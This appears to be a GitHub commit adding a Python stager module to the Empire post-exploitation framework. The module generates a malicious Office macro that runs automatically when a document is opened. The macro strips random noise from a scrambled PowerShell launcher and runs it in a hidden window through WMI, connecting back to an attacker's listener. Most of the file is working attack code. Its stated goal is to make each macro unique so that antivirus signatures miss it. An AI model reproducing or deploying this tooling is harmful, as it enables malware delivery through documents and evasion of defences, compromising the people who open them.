Create scrambled_macro.py
Stager based on the normal macro stager. Adds "noise" to the payload to help evading signature based AV solutions1.6
rschoem
GitHub
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from lib.common import helpers
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import random
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Scrambled_Macro',
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'Author': ['@enigma0x3', '@harmj0y', 'Rob Schoemaker'],
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'Description': ('Generates a scrambled office macro for Empire, compatible with office 97-2003, and 2007 file types.\nEach generated macro is unique in order to bypass AV.'),
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'Comments': [
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'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener' : {
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'Description' : 'Listener to generate stager for.',
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'Required' : True,
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'Value' : ''
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},
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'StagerRetries' : {
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'Description' : 'Times for the stager to retry connecting.',
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'Required' : False,
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'Value' : '0'
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},
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'OutFile' : {
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'Description' : 'File to output macro to, otherwise displayed on the screen.',
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'Required' : False,
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'Value' : '/tmp/scrambled'
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},
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'NoiseLevel' : {
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'Description' : 'Sets the amount of noise to add (default=3, 0=no noise)',
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'Required' : True,
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'Value' : '3'
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def addnoise(self, payload,level=1):
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charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-+={}[];:|,.<>?~_'
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noisechars=''
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for character in charset:
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if(not character in payload):
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noisechars += character
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scrambledpayload = ''
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random.seed()
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shuffled = "".join(random.sample(noisechars, len(noisechars)))
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noisechars = shuffled
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for character in payload:
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action = random.randint(0,level)
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while(action!=0):
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scrambledpayload += random.choice(noisechars)
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action = random.randint(0,level)
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scrambledpayload += character
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return scrambledpayload, noisechars
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def generate(self):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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stagerRetries = self.options['StagerRetries']['Value']
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noiselevel = int(self.options['NoiseLevel']['Value'])
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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launcher, noise = self.addnoise(launcher, noiselevel)
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chunks = list(helpers.chunks(launcher, 50))
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payload = "\tDim Str As String\n"
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payload += "\tDim Noise As String\n"
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payload += "\tDim Counter As Integer\n"
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payload += "\tnoise = \"" + noise + "\"\n"
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payload += "\tstr = \"" + str(chunks[0]) + "\"\n"
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for chunk in chunks[1:]:
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payload += "\tstr = str + \"" + str(chunk) + "\"\n"
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payload += "\tFor counter = 1 to len(noise)\n"
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payload += "\tstr = replace(str,mid(noise,counter,1),\"\")\n"
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payload += "\tNext\n"
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macro = "Sub Auto_Open()\n"
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macro += "\tDebugging\n"
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macro += "End Sub\n\n"
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macro = "Sub AutoOpen()\n"
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macro += "\tDebugging\n"
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macro += "End Sub\n\n"
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macro += "Sub Document_Open()\n"
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macro += "\tDebugging\n"
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macro += "End Sub\n\n"
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macro += "Public Function Debugging() As Variant\n"
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macro += payload
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macro += "\tConst HIDDEN_WINDOW = 0\n"
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macro += "\tstrComputer = \".\"\n"
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macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
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macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
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macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
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macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
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macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
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macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n"
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macro += "End Function\n"
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return macro
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